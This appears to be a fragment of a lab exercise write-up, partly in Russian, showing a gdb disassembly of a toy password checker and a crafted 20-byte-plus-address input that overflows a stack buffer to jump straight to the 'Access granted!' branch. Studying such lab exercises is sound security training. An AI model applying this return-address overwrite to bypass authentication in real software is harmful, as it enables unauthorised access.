

```

(gdb) n
17      printf("Access granted!\n"); // Строка для которой нужно выяснить адрес
(gdb) disassemble
Dump of assembler code for function main:
   0x0000000000401196 <+0>:      endbr64
   0x000000000040119a <+4>:      push    %rbp
   0x000000000040119b <+5>:      mov     %rsp,%rbp
   0x000000000040119e <+8>:      sub     $0x10,%rsp
   0x00000000004011a2 <+12>:     lea     0xe5b(%rip),%rax      # 0x402004
   0x00000000004011a9 <+19>:     mov     %rax,%rdi
   0x00000000004011ac <+22>:     call    0x401070 <puts@plt>
   0x00000000004011b1 <+27>:     call    0x4011ee <IsPassOk>
   0x00000000004011b6 <+32>:     mov     %eax,-0x4(%rbp)
   0x00000000004011b9 <+35>:     cmpl    $0x0,-0x4(%rbp)
   0x00000000004011bd <+39>:     jne     0x4011d8 <main+66>
   0x00000000004011bf <+41>:     lea     0xe4e(%rip),%rax      # 0x402014
   0x00000000004011c6 <+48>:     mov     %rax,%rdi
   0x00000000004011c9 <+51>:     call    0x401070 <puts@plt>
   0x00000000004011ce <+56>:     mov     $0x1,%edi
   0x00000000004011d3 <+61>:     call    0x4010a0 <exit@plt>
⇒ 0x00000000004011d8 <+66>:     lea     0xe43(%rip),%rax      # 0x402022
   0x00000000004011df <+73>:     mov     %rax,%rdi
   0x00000000004011e2 <+76>:     call    0x401070 <puts@plt>
   0x00000000004011e7 <+81>:     mov     $0x0,%eax
   0x00000000004011ec <+86>:     leave
   0x00000000004011ed <+87>:     ret
End of assembler dump.

```

```

task_5 git:(master) × printf "01234567890123456789\xD8\x11\x40" > input.bin

```

20 байт

0x00000000004011d8

```

task_5 git:(master) × printf "01234567890123456789\xD8\x11\x40" > input.bin
task_5 git:(master) × ./task_5 < input.bin
Enter password:
Access granted!
[1] 47916 bus error (core dumped) ./task_5 < input.bin
task_5 git:(master) ×

```